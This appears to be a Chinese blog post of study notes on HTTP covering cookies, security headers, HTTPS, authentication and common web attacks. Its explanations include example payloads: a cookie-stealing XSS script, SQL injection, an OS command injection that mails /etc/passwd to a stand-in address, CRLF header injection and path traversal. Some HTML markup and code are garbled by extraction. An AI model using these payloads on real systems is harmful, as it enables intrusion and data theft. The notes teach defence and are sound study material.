以上例子仅当在 https://www.example.com/( HTTPS) 安全连接的情况下才会进行 Cookie 的回收。 也就是说, 即使域名相同,http://www.example.com/( HTTP) 也不会发生 Cookie 回收行为。当省略 secure 属性时, 不论 HTTP 还是HTTPS, 都会对 Cookie 进行回收。
HttpOnly 属性
Cookie 的 HttpOnly 属性是 Cookie 的扩展功能, 它使 JavaScript 脚本无法获得 Cookie。 其主要目的为防止跨站脚本攻击( Cross-site scripting, XSS) 对 Cookie 的信息窃取。
发送指定 HttpOnly 属性的 Cookie 的方法如下所示。

Set-Cookie: name=value; HttpOnly

通过上述设置, 通常从 Web 页面内还可以对 Cookie 进行读取操作。但使用 JavaScript 的 document.cookie 就无法读取附加 HttpOnly 属性后的 Cookie 的内容了。 因此, 也就无法在 XSS 中利用 JavaScript 劫持Cookie 了。
虽然是独立的扩展功能, 但 Internet Explorer 6 SP1 以上版本等当下的主流浏览器都已经支持该扩展了。 另外顺带一提, 该扩展并非是为了防止 XSS 而开发的。

Cookie: status=enable

首部字段 Cookie 会告知服务器, 当客户端想获得 HTTP 状态管理支持时, 就会在请求中包含从服务器接收到的 Cookie。 接收到多个Cookie 时, 同样可以以多个 Cookie 形式发送。

其他首部字段

X-Frame-Options

X-Frame-Options: DENY

首部字段 X-Frame-Options 属于 HTTP 响应首部, 用于控制网站内容在其他 Web 网站的 Frame 标签内的显示问题。 其主要目的是为了防止点击劫持( clickjacking) 攻击。
DENY : 拒绝
SAMEORIGIN : 仅同源域名下的页面( Top-level-browsingcontext) 匹配时许可。 ( 比如, 当指定 http://hackr.jp/sample.html 页面为 SAMEORIGIN 时, 那么 hackr.jp 上所有页面的 frame 都被允许可加载该页面, 而 example.com 等其他域名的页面就不行了)

X-XSS-Protection

X-XSS-Protection: 1

首部字段 X-XSS-Protection 属于 HTTP 响应首部, 它是针对跨站脚本攻击( XSS) 的一种对策, 用于控制浏览器 XSS 防护机制的开关。首部字段 X-XSS-Protection 可指定的字段值如下:
0 : 将 XSS 过滤设置成无效状态
1 : 将 XSS 过滤设置成有效状态

DNT

首部字段 DNT 属于 HTTP 请求首部, 其中 DNT 是 Do Not Track 的简称, 意为拒绝个人信息被收集, 是表示拒绝被精准广告追踪的一种方法。
首部字段 DNT 可指定的字段值如下。
0 : 同意被追踪
1 : 拒绝被追踪
由于首部字段 DNT 的功能具备有效性, 所以 Web 服务器需要对 DNT做对应的支持。

P3P

P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"

首部字段 P3P 属于 HTTP 相应首部, 通过利用 P3P( The Platform for Privacy Preferences, 在线隐私偏好平台) 技术, 可以让 Web 网站上的个人隐私变成一种仅供程序可理解的形式, 以达到保护用户隐私的目的。

确保 Web 安全的HTTPS

在 HTTP 协议中有可能存在信息窃听或身份伪装等安全问题。 使用HTTPS 通信机制可以有效地防止这些问题。
HTTP 主要有这些不足, 例举如下:
- 通信使用明文( 不加密) , 内容可能会被窃听
- 不验证通信方的身份, 因此有可能遭遇伪装
- 无法证明报文的完整性, 所以有可能已遭篡改
这些问题不仅在 HTTP 上出现, 其他未加密的协议中也会存在这类问题。
除此之外, HTTP 本身还有很多缺点。 而且, 还有像某些特定的 Web服务器和特定的 Web 浏览器在实际应用中存在的不足( 也可以说成是脆弱性或安全漏洞) , 另外, 用 Java 和 PHP 等编程语言开发的Web 应用也可能存在安全漏洞。

HTTP+ 加密 + 认证 + 完整性保护=HTTPS

需要在 HTTP 上再加入加密处理和认证等机制。 我们把添加了加密及认证机制的 HTTP 称为 HTTPS( HTTP Secure) 。

HTTPS 是身披 SSL 外壳的 HTTP

HTTPS 并非是应用层的一种新协议。 只是 HTTP 通信接口部分用SSL( Secure Socket Layer) 和 TLS( Transport Layer Security) 协议代替而已。
通常, HTTP 直接和 TCP 通信。 当使用 SSL时, 则演变成先和 SSL通信, 再由 SSL和 TCP 通信了。 简言之, 所谓 HTTPS, 其实就是身披SSL协议这层外壳的 HTTP。
在采用 SSL后, HTTP 就拥有了 HTTPS 的加密、 证书和完整性保护这些功能。SSL是独立于 HTTP 的协议, 所以不光是 HTTP 协议, 其他运行在应用层的 SMTP 和 Telnet 等协议均可配合 SSL协议使用。 可以说 SSL是当今世界上应用最为广泛的网络安全技术。

HTTPS 采用混合加密机制

HTTPS 采用共享密钥加密和公开密钥加密两者并用的混合加密机制。 若密钥能够实现安全交换, 那么有可能会考虑仅使用公开密钥加密来通信。 但是公开密钥加密与共享密钥加密相比, 其处理速度要慢。
所以应充分利用两者各自的优势, 将多种方法组合起来用于通信。 在交换密钥环节使用公开密钥加密方式, 之后的建立通信交换报文阶段则使用共享密钥加密方式。

证明公开密钥正确性的证书

公开密钥加密方式还是存在一些问题的。 那就是无法证明公开密钥本身就是货真价实的公开密钥。 比如, 正准备和某台服务器建立公开密钥加密方式下的通信时, 如何证明收到的公开密钥就是原本预想的那台服务器发行的公开密钥。 或许在公开密钥传输途中, 真正的公开密钥已经被攻击者替换掉了。
为了解决上述问题, 可以使用由数字证书认证机构( CA, Certificate Authority) 和其相关机关颁发的公开密钥证书。
数字证书认证机构处于客户端与服务器双方都可信赖的第三方机构的立场上。 威瑞信( VeriSign) 就是其中一家非常有名的数字证书认证机构。 我们来介绍一下数字证书认证机构的业务流程。 首先, 服务器的运营人员向数字证书认证机构提出公开密钥的申请。 数字证书认证机构在判明提出申请者的身份之后, 会对已申请的公开密钥做数字签名, 然后分配这个已签名的公开密钥, 并将该公开密钥放入公钥证书后绑定在一起。
服务器会将这份由数字证书认证机构颁发的公钥证书发送给客户端,以进行公开密钥加密方式通信。 公钥证书也可叫做数字证书或直接称为证书。
接到证书的客户端可使用数字证书认证机构的公开密钥, 对那张证书上的数字签名进行验证, 一旦验证通过, 客户端便可明确两件事:一, 认证服务器的公开密钥的是真实有效的数字证书认证机构。 二,服务器的公开密钥是值得信赖的。
此处认证机关的公开密钥必须安全地转交给客户端。 使用通信方式时, 如何安全转交是一件很困难的事, 因此, 多数浏览器开发商发布版本时, 会事先在内部植入常用认证机关的公开密钥。
图解HTTP学习笔记_第3张图片

HTTPS 的安全通信机制

图解HTTP学习笔记_第4张图片
步骤 1: 客户端通过发送 Client Hello 报文开始 SSL通信。 报文中包含客户端支持的 SSL的指定版本、 加密组件( Cipher Suite) 列表( 所使用的加密算法及密钥长度等) 。
步骤 2: 服务器可进行 SSL通信时, 会以 Server Hello 报文作为应答。 和客户端一样, 在报文中包含 SSL版本以及加密组件。 服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的。
步骤 3: 之后服务器发送 Certificate 报文。 报文中包含公开密钥证书。
步骤 4: 最后服务器发送 Server Hello Done 报文通知客户端, 最初阶段的 SSL握手协商部分结束。
步骤 5: SSL第一次握手结束之后, 客户端以 Client Key Exchange 报文作为回应。 报文中包含通信加密中使用的一种被称为 Pre-master secret 的随机密码串。 该报文已用步骤 3 中的公开密钥进行加密。
步骤 6: 接着客户端继续发送 Change Cipher Spec 报文。 该报文会提示服务器, 在此报文之后的通信会采用 Pre-master secret 密钥加密。
步骤 7: 客户端发送 Finished 报文。 该报文包含连接至今全部报文的整体校验值。 这次握手协商是否能够成功, 要以服务器是否能够正确解密该报文作为判定标准。
步骤 8: 服务器同样发送 Change Cipher Spec 报文。
步骤 9: 服务器同样发送 Finished 报文。
步骤 10: 服务器和客户端的 Finished 报文交换完毕之后, SSL连接就算建立完成。 当然, 通信会受到 SSL的保护。 从此处开始进行应用层协议的通信, 即发送 HTTP 请求。
步骤 11: 应用层协议通信, 即发送 HTTP 响应。
步骤 12: 最后由客户端断开连接。 断开连接时, 发送 close_notify 报文。 上图做了一些省略, 这步之后再发送 TCP FIN 报文来关闭与 TCP的通信。
在以上流程中, 应用层发送数据时会附加一种叫做 MAC( Message Authentication Code) 的报文摘要。 MAC 能够查知报文是否遭到篡改, 从而保护报文的完整性。
下面是对整个流程的图解。 图中说明了从仅使用服务器端的公开密钥证书( 服务器证书) 建立 HTTPS 通信的整个过程。
图解HTTP学习笔记_第5张图片

HTTPS 比 HTTP 要慢 2 到 100 倍

SSL的慢分两种。 一种是指通信慢。 另一种是指由于大量消耗 CPU 及内存等资源, 导致处理速度变慢。和使用 HTTP 相比, 网络负载可能会变慢 2 到 100 倍。 除去和TCP 连接、 发送 HTTP 请求 • 响应以外, 还必须进行 SSL通信,因此整体上处理通信量不可避免会增加。另一点是 SSL必须进行加密处理。 在服务器和客户端都需要进行加密和解密的运算处理。 因此从结果上讲, 比起 HTTP 会更多地消耗服务器和客户端的硬件资源, 导致负载增强。针对速度变慢这一问题, 并没有根本性的解决方案, 我们会使用SSL加速器这种( 专用服务器) 硬件来改善该问题。 该硬件为SSL通信专用硬件, 相对软件来讲, 能够提高数倍 SSL的计算速度。 仅在 SSL处理时发挥 SSL加速器的功效, 以分担负载。
如果是非敏感信息则使用 HTTP 通信, 只有在包含个人信息等敏感数据时, 才利用 HTTPS 加密通信。
特别是每当那些访问量较多的 Web 网站在进行加密处理时, 它们所承担着的负载不容小觑。 在进行加密处理时, 并非对所有内容都进行加密处理, 而是仅在那些需要信息隐藏时才会加密, 以节约资源。

确认访问用户身份的认证

HTTP 使用的认证方式

BASIC 认证(基本认证)

步骤 1: 当请求的资源需要 BASIC 认证时, 服务器会随状态码 401Authorization Required, 返回带 WWW-Authenticate 首部字段的响应。该字段内包含认证的方式( BASIC) 及 Request-URI 安全域字符串( realm) 。
步骤 2: 接收到状态码 401 的客户端为了通过 BASIC 认证, 需要将用户 ID 及密码发送给服务器。 发送的字符串内容是由用户 ID 和密码构成, 两者中间以冒号( :) 连接后, 再经过 Base64 编码处理。假设用户 ID 为 guest, 密码是 guest, 连接起来就会形成 guest:guest 这样的字符串。 然后经过 Base64 编码, 最后的结果即是Z3Vlc3Q6Z3Vlc3Q=。 把这串字符串写入首部字段 Authorization 后,发送请求。
当用户代理为浏览器时, 用户仅需输入用户 ID 和密码即可, 之后,浏览器会自动完成到 Base64 编码的转换工作。
步骤 3: 接收到包含首部字段 Authorization 请求的服务器, 会对认证信息的正确性进行验证。 如验证通过, 则返回一条包含 Request-URI资源的响应。
BASIC 认证虽然采用 Base64 编码方式, 但这不是加密处理。 不需要任何附加信息即可对其解码。 换言之, 由于明文解码后就是用户 ID 和密码, 在 HTTP 等非加密通信的线路上进行 BASIC 认证的过程中, 如果被人窃听, 被盗的可能性极高。
另外, 除此之外想再进行一次 BASIC 认证时, 一般的浏览器却无法实现认证注销操作, 这也是问题之一。
BASIC 认证使用上不够便捷灵活, 且达不到多数 Web 网站期望的安全性等级, 因此它并不常用。

DIGEST 认证(摘要认证)

步骤 1: 请求需认证的资源时, 服务器会随着状态码 401 Authorization Required, 返 回带 WWW-Authenticate 首部字段的响应。该字段内包含质问响应方式认证所需的临时质询码( 随机数,nonce) 。
首部字段 WWW-Authenticate 内必须包含 realm 和 nonce 这两个字段的信息。 客户端就是依靠向服务器回送这两个值进行认证的。nonce 是一种每次随返回的 401 响应生成的任意随机字符串。 该字符串通常推荐由 Base64 编码的十六进制数的组成形式, 但实际内容依赖服务器的具体实现。
步骤 2: 接收到 401 状态码的客户端, 返回的响应中包含 DIGEST 认证必须的首部字段 Authorization 信息。首部字段 Authorization 内必须包含 username、 realm、 nonce、 uri 和 response 的字段信息。 其中, realm 和 nonce 就是之前从服务器接收到的响应中的字段。username 是 realm 限定范围内可进行认证的用户名。uri( digest-uri) 即 Request-URI 的值, 但考虑到经代理转发后 Request-URI 的值可能被修改, 因此事先会复制一份副本保存在 uri 内。response 也可叫做 Request-Digest, 存放经过 MD5 运算后的密码字符串, 形成响应码。
步骤 3: 接收到包含首部字段 Authorization 请求的服务器, 会确认认证信息的正确性。 认证通过后则返回包含 Request-URI 资源的响应。并且这时会在首部字段 Authentication-Info 写入一些认证成功的相关信息。
DIGEST 认证提供了高于 BASIC 认证的安全等级, 但是和 HTTPS 的客户端认证相比仍旧很弱。 DIGEST 认证提供防止密码被窃听的保护机制, 但并不存在防止用户伪装的保护机制。DIGEST 认证和 BASIC 认证一样, 使用上不那么便捷灵活, 且仍达不到多数 Web 网站对高度安全等级的追求标准。 因此它的适用范围也有所受限。

SSL 客户端认证

SSL客户端认证是借由 HTTPS 的客户端证书完成认证的方式。 凭借客户端证书认证, 服务器可确认访问是否来自已登录的客户端。
为达到 SSL客户端认证的目的, 需要事先将客户端证书分发给客户端, 且客户端必须安装此证书。
步骤 1: 接收到需要认证资源的请求, 服务器会发送 Certificate Request 报文, 要求客户端提供客户端证书。
步骤 2: 用户选择将发送的客户端证书后, 客户端会把客户端证书信息以 Client Certificate 报文方式发送给服务器。
步骤 3: 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥, 然后开始 HTTPS 加密通信。
在多数情况下, SSL客户端认证不会仅依靠证书完成认证, 一般会和基于表单认证( 稍后讲解) 组合形成一种双因素认证( Two-factor authentication) 来使用。 所谓双因素认证就是指, 认证过程中不仅需要密码这一个因素, 还需要申请认证者提供其他持有信息, 从而作为另一个因素, 与其组合使用的认证方式。
换言之, 第一个认证因素的 SSL客户端证书用来认证客户端计算机,另一个认证因素的密码则用来确定这是用户本人的行为。
通过双因素认证后, 就可以确认是用户本人正在使用匹配正确的计算机访问服务器。

FormBase 认证(基于表单认证)

由于使用上的便利性及安全性问题, HTTP 协议标准提供的 BASIC 认证和 DIGEST 认证几乎不怎么使用。 另外, SSL客户端认证虽然具有高度的安全等级, 但因为导入及维持费用等问题, 还尚未普及。
一般会使用 Cookie 来管理Session( 会话) 。
步骤 1: 客户端把用户 ID 和密码等登录信息放入报文的实体部分,通常是以 POST 方法把请求发送给服务器。 而这时, 会使用 HTTPS 通信来进行 HTML表单画面的显示和用户输入数据的发送。
步骤 2: 服务器会发放用以识别用户的 Session ID。 通过验证从客户端发送过来的登录信息进行身份认证, 然后把用户的认证状态与Session ID 绑定后记录在服务器端。
向客户端返回响应时, 会在首部字段 Set-Cookie 内写入 Session ID( 如 PHPSESSID=028a8c…) 。
如果 Session ID 被第三方盗走, 对方就可以伪装成你的身份进行恶意操作了。 因此必须防止 Session ID 被盗, 或被猜出。 为了做到这点, Session ID 应使用难以推测的字符串, 且服务器端也需要进行有效期的管理, 保证其安全性。
另外, 为减轻跨站脚本攻击( XSS) 造成的损失, 建议事先在 Cookie内加上 httponly 属性。
步骤 3: 客户端接收到从服务器端发来的 Session ID 后, 会将其作为Cookie 保存在本地。 下次向服务器发送请求时, 浏览器会自动发送Cookie, 所以 Session ID 也随之发送到服务器。 服务器端可通过验证接收到的 Session ID 识别用户和其认证状态。
不仅基于表单认证的登录信息及认证过程都无标准化的方法,服务器端应如何保存用户提交的密码等登录信息等也没有标准化。通常, 一种安全的保存方法是, 先利用给密码加盐( salt) 的方式增加额外信息, 再使用散列( hash) 函数计算出散列值后保存。 但是我们也经常看到直接保存明文密码的做法, 而这样的做法具有导致密码泄露的风险。

基于 HTTP 的功能追加协议

Ajax( Asynchronous JavaScript and XML, 异 步 JavaScript 与 XML技术) 是一种有效利用 JavaScript 和 DOM( Document Object Model, 文档对象模型) 的操作, 以达到局部 Web 页面替换加载的异步通信手段。 和以前的同步通信相比, 由于它只更新一部分页面, 响应中传输的数据量会因此而减少, 这一优点显而易见。
Ajax 的核心技术是名为 XMLHttpRequest 的 API, 通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信。 借由这种手段, 就能从已加载完毕的 Web 页面上发起请求, 只更新局部页面。
而利用 Ajax 实时地从服务器获取内容, 有可能会导致大量请求产生。 另外, Ajax 仍未解决 HTTP 协议本身存在的问题。

Web 的攻击技术

针对 Web 的攻击技术

以服务器为目标的主动攻击

主动攻击( active attack) 是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。 由于该模式是直接针对服务器上的资源进行攻击, 因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注
入攻击。

以服务器为目标的被动攻击

被动攻击( passive attack) 是指利用圈套策略执行攻击代码的攻击模式。 在被动攻击过程中, 攻击者不直接对目标 Web 应用访问发起攻击。
步骤 1: 攻击者诱使用户触发已设置好的陷阱, 而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
步骤 2: 当用户不知不觉中招之后, 用户的浏览器或邮件客户端就会触发这个陷阱。
步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用, 运行攻击代码。
步骤 4: 执行完攻击代码, 存在安全漏洞的 Web 应用会成为攻击者的跳板, 可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
利用被动攻击, 可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。 只要用户踏入攻击者预先设好的陷阱, 在用户能够访问到的网络范围内, 即使是企业内网也同样会受到攻击。很多企业内网依然可以连接到互联网上, 访问 Web 网站, 或接收互联网发来的邮件。 这样就可能给攻击者以可乘之机, 诱导用户触发陷阱后对企业内网发动攻击。

跨站脚本攻击

跨站脚本攻击( Cross-Site Scripting, XSS) 是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。 动态创建的 HTML部分有可能隐藏着安全漏洞。 就这样, 攻击者编写脚本设下陷阱, 用户在自己的浏览器上运行时, 一不小心就会受到被动攻击。
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的 Cookie 值, 被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
XSS 是攻击者利用预先设置的陷阱触发的被动攻击。跨站脚本攻击属于被动攻击模式, 因此攻击者会事先布置好用于
攻击的陷阱。
充分熟知此处漏洞特点的攻击者, 于是就创建了下面这段嵌入恶意代码的 URL。 并隐藏植入事先准备好的欺诈邮件中或 Web 页面内, 诱使用户去点击该 URL。http://example.jp/login?ID=“>

var content = escape(document.cookie);
document.write(");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序, 即可访问到该 Web 应用所处域名下的 Cookie 信息。 然后这些信息会发送至攻击者的 Web 网站。

SQL 注入攻击

会执行非法 SQL 的 SQL 注入攻击
SQL注入( SQL Injection) 是指针对 Web 应用使用的数据库, 通过运行非法的 SQL而产生的攻击。 该安全隐患有可能引发极大的威胁, 有时会直接导致个人信息及机密信息的泄露。
SELECT * FROM bookTbl WHERE author =’上野宣’ - -’ and flag=1; SQL语句中的 – 之后全视为注释。 即, and flag=1 这个条件被自动忽略了。

OS 命令注入攻击

OS 命令注入攻击( OS Command Injection) 是指通过 Web 应用, 执行非法的操作系统命令达到攻击的目的。 只要在能调用 Shell 函数的地方就有存在被攻击的风险。
下面摘选处理该表单内容的一部分核心代码。

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

程序中的 open 函数会调用 sendmail 命令发送邮件, 而指定的邮件发送地址即 $adr 的值。
攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@example.jp

程序接收该值, 构成以下的命令组合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]

攻击者的输入值中含有分号( ;) 。 这个符号在 OS 命令中, 会被解析为分隔多个执行命令的标记。
可见, sendmail 命令执行被分隔后, 接下去就会执行

cat /etc/passwd | mail hack@example.jp

这样的命令了。 结果, 含有Linux 账户信息 /etc/passwd 的文件, 就以邮件形式发送给了[email protected]

HTTP 首部注入攻击

HTTP 首部注入攻击( HTTP Header Injection) 是指攻击者通过在响应首部字段内插入换行, 添加任意响应首部或主体的一种攻击。 属于被动攻击模式。
向首部主体内添加内容的攻击称为 HTTP 响应截断攻击( HTTP Response Splitting Attack) 。
攻击者以下面的内容替代之前的类别 ID 后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中, %0D%0A 代表 HTTP 报文中的换行符, 紧接着的是可强制将攻击者网站( http://hackr.jp/) 的会话 ID 设置成
SID=123456789 的 Set-Cookie 首部字段。发送该请求之后, 假设结果返回以下响应。

Location: http://example.com/?cat=101( %0D%0A : 换行符)
Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻击者可指定修改任意的 Cookie 信息。 通过和会话固定攻击( 攻击者可使用指定的会话 ID) 攻击组合, 攻击者可伪装成用户。
攻击者输入的 %0D%0A, 原本应该属于首部字段 Location 的查询值部分, 但经过解析后, %0D%0A 变成了换行符, 结果插入了新的首部字段。
这样一来, 攻击者可在响应中插入任意的首部字段。
HTTP 响应截断攻击
HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。 攻击顺序相同, 但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。 利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了, 这样就能显示伪造的主体, 达到攻击目的。 这样的攻击叫做 HTTP 响应截断攻击。

%0D%0A%0D%0A之后, 想要显示的网页内容 <!--</code></pre> 
  <p>在可能进行 HTTP 首部注入的环节, 通过发送上面的字符串, 返回结果得到以下这种响应。</p> 
  <pre class="prettyprint"><code class=" hljs perl">Set-Cookie: UID=( <span class="hljs-variable">%0D</span><span class="hljs-variable">%0A</span> : 换行符)
( <span class="hljs-variable">%0D</span><span class="hljs-variable">%0A</span> : 换行符)
<HTML><HEAD><TITLE>之后, 想要显示的网页内容 <!--( 原来页面对应的首部字段和主体部分全视为注释)</code></pre> 
  <p>利用这个攻击, 已触发陷阱的用户浏览器会显示伪造的 Web 页面, 再让用户输入自己的个人信息等, 可达到和跨站脚本攻击相同的效果。</p> 
  <h3 id="邮件首部注入攻击">邮件首部注入攻击</h3> 
  <p>邮件首部注入( Mail Header Injection) 是指 Web 应用中的邮件发送功能, 攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。 利用存在安全漏洞的 Web 网站, 可对任意邮件地址发送广告邮件或病毒邮件。 <br> 攻击者将以下数据作为邮件地址发起请求。</p> 
  <pre class="prettyprint"><code class=" hljs perl">bob<span class="hljs-variable">@hackr</span>.jp<span class="hljs-variable">%0D</span><span class="hljs-variable">%0ABcc</span>: user<span class="hljs-variable">@example</span>.com</code></pre> 
  <p>%0D%0A 在邮件报文中代表换行符。 一旦咨询表单所在的 Web 应用接收了这个换行符, 就可能实现对 Bcc 邮件地址的追加发送, 而这原本是无法指定的。 <br> 另外像下面一样, 使用两个连续的换行符就有可能篡改邮件文本内容并发送。</p> 
  <pre class="prettyprint"><code class=" hljs perl">bob<span class="hljs-variable">@hackr</span>.jp<span class="hljs-variable">%0D</span><span class="hljs-variable">%0A</span><span class="hljs-variable">%0D</span><span class="hljs-variable">%0ATest</span> Message</code></pre> 
  <p>再以相同的方法, 就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。</p> 
  <h3 id="目录遍历攻击">目录遍历攻击</h3> 
  <p>目录遍历( Directory Traversal) 攻击是指对本无意公开的文件目录,通过非法截断其目录路径后, 达成访问目的的一种攻击。 这种攻击有时也称为路径遍历( Path Traversal) 攻击。 <br> 通过 Web 应用对文件处理操作时, 在由外部指定文件名的处理存在疏漏的情况下, 用户可使用 …/ 等相对路径定位到 /etc/passed 等绝对路径上, 因此服务器上任意的文件或文件目录皆有可能被访问到。 这样一来, 就有可能非法浏览、 篡改或删除 Web 服务器上的文件。固然存在输出值转义的问题, 但更应该关闭指定对任意文件名的访问权限。</p> 
  <pre class="prettyprint"><code class=" hljs livecodeserver"><span class="hljs-keyword">http</span>://example.com/<span class="hljs-built_in">read</span>.php?<span class="hljs-built_in">log</span>=<span class="hljs-number">0401.</span><span class="hljs-built_in">log</span></code></pre> 
  <p>攻击者设置如下查询字段后发出请求。</p> 
  <pre class="prettyprint"><code class=" hljs livecodeserver"><span class="hljs-keyword">http</span>://example.com/<span class="hljs-built_in">read</span>.php?<span class="hljs-built_in">log</span>=../../etc/passwd</code></pre> 
  <p>查询字段为了读取攻击者盯上的 /etc/passwd 文件, 会从/www/log/ 目录开始定位相对路径。 如果这份 read.php 脚本接受 <br> 对指定目录的访问请求处理, 那原本不公开的文件就存在可被访问的风险。</p> 
  <h3 id="远程文件包含漏洞">远程文件包含漏洞</h3> 
  <p>远程文件包含漏洞( Remote File Inclusion) 是指当部分脚本内容需要从其他文件读入时, 攻击者利用指定外部服务器的 URL充当依赖文件, 让脚本读取之后, 就可运行任意脚本的一种攻击。这主要是 PHP 存在的安全漏洞, 对 PHP 的 include 或 require 来说,这是一种可通过设定, 指定外部服务器的 URL作为文件名的功能。但是, 该功能太危险, PHP5.2.0 之后默认设定此功能无效。</p> 
  <h2 id="因设置或设计上的缺陷引发的安全漏洞">因设置或设计上的缺陷引发的安全漏洞</h2> 
  <p>因设置或设计上的缺陷引发的安全漏洞是指, 错误设置 Web 服务器, 或是由设计上的一些问题引起的安全漏洞。</p> 
  <h3 id="强制浏览">强制浏览</h3> 
  <p>强制浏览( Forced Browsing) 安全漏洞是指, 从安置在 Web 服务器的公开目录下的文件中, 浏览那些原本非自愿公开的文件。强制浏览有可能会造成以下一些影响。 <br> - 泄露顾客的个人信息等重要情报 <br> - 泄露原本需要具有访问权限的用户才可查阅的信息内容 <br> - 泄露未外连到外界的文件 <br> 对那些原本不愿公开的文件, 为了保证安全会隐蔽其 URL。 可一旦知道了那些 URL, 也就意味着可浏览 URL对应的文件。 直接显示容易推测的文件名或文件目录索引时, 通过某些方法可能会使 URL产生泄露。</p> 
  <h3 id="不正确的错误消息处理">不正确的错误消息处理</h3> 
  <p>不正确的错误消息处理( Error Handling Vulnerability) 的安全漏洞是指, Web 应用的错误信息内包含对攻击者有用的信息。 与 Web 应用有关的主要错误信息如下所示。 <br> - Web 应用抛出的错误消息 <br> - 数据库等系统抛出的错误消息 <br> Web 应用抛出的错误消息 <br> Web 应用不必在用户的浏览画面上展现详细的错误消息。 对攻击者来说, 详细的错误消息有可能给他们下一次攻击以提示。 <br> 提示“邮件地址未注册”的错误消息。 当输入的邮件地址尚未在该 Web 网站上注册时, 就会触发这条错误消息。 因为倘 <br> 若邮件地址存在, 应该会提示“输入的密码有误”之类的错误消息。攻击者利用进行不同的输入会提示不同的错误信息这条, 就可用来确认输入的邮件地址是否已在这个 Web 网站上注册过了。为了不让错误消息给攻击者以启发, 建议将提示消息的内容仅保留到“认证错误”这种程度即可。 <br> 数据库等系统抛出的错误消息 <br> 攻击者从消息中可读出数据库选用的是 MySQL, 甚至还看见了 SQL语句的片段。 这可能给攻击者进行 SQL注入攻击以启发。</p> 
  <h3 id="开放重定向">开放重定向</h3> 
  <p>开放重定向( Open Redirect) 是一种对指定的任意 URL作重定向跳转的功能。 而于此功能相关联的安全漏洞是指, 假如指定的重定向 URL到某个具有恶意的 Web 网站, 那么用户就会被诱导至那个 Web 网站。</p> 
  <pre class="prettyprint"><code class=" hljs avrasm"><span class="hljs-label">http:</span>//example<span class="hljs-preprocessor">.com</span>/?redirect=http://www<span class="hljs-preprocessor">.tricorder</span><span class="hljs-preprocessor">.jp</span></code></pre> 
  <p>攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应的 连接, 如下所示。</p> 
  <pre class="prettyprint"><code class=" hljs avrasm"><span class="hljs-label">http:</span>//example<span class="hljs-preprocessor">.com</span>/?redirect=http://hackr<span class="hljs-preprocessor">.jp</span></code></pre> 
  <p>用户看到 URL后原以为访问 example.com, 不料实际上被诱导至 hackr.jp 这个指定的重定向目标。可信度高的 Web 网站如果开放重定向功能, 则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。</p> 
  <h2 id="因会话管理疏忽引发的安全漏洞">因会话管理疏忽引发的安全漏洞</h2> 
  <p>会话管理是用来管理用户状态的必备功能, 但是如果在会话管理上有所疏忽, 就会导致用户的认证状态被窃取等后果。</p> 
  <h3 id="会话劫持">会话劫持</h3> 
  <p>会话劫持( Session Hijack) 是指攻击者通过某种手段拿到了用户的会话 ID, 并非法使用此会话 ID 伪装成用户, 达到攻击的目的。</p> 
  <h3 id="会话固定攻击">会话固定攻击</h3> 
  <p>对以窃取目标会话 ID 为主动攻击手段的会话劫持而言, 会话固定攻击( Session Fixation) 攻击会强制用户使用攻击者指定的会话 ID, 属于被动攻击。 <br> 攻击者准备陷阱, 先访问 Web 网站拿到会话 ID( SID=f5d1278e8109) 。 此刻, 会话 ID 在服务器上的记录仍是( 未认证) 状态。 ( 步骤① ~ ②) <br> 攻击者设置好强制用户使用该会话 ID 的陷阱, 并等待用户拿着这个会话 ID 前去认证。 一旦用户触发陷阱并完成认证, 会话 <br> ID( SID=f5d1278e8109) 在服务器上的状态( 用户 A 已认证) 就会被记录下来。 ( 步骤③) <br> 攻击者估计用户差不多已触发陷阱后, 再利用之前这个会话 ID 访问网站。 由于该会话 ID 目前已是( 用户 A 已认证) 状态, 于是攻击者作为用户 A 的身份顺利登录网站。 ( 步骤④)</p> 
  <h3 id="跨站点请求伪造">跨站点请求伪造</h3> 
  <p>跨站点请求伪造( Cross-Site Request Forgeries, CSRF) 攻击是指攻击者通过设置好的陷阱, 强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新, 属于被动攻击。 <br> 在该留言板系统上, 受害者用户 A 是已认证状态。 它的浏览器中的 Cookie 持有已认证的会话 ID( 步骤①) 。 <br> 攻击者设置好一旦用户访问, 即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。 用户 A 的浏览器执行完陷阱中的请求后, 留言板上也就会留下那条评论( 步骤②) 。 <br> 触发陷阱之际, 如果用户 A 尚未通过认证, 则无法利用用户 A 的身份权限在留言板上发表内容。</p> 
  <h2 id="其他安全漏洞">其他安全漏洞</h2> 
  <h3 id="密码破解">密码破解</h3> 
  <ul> 
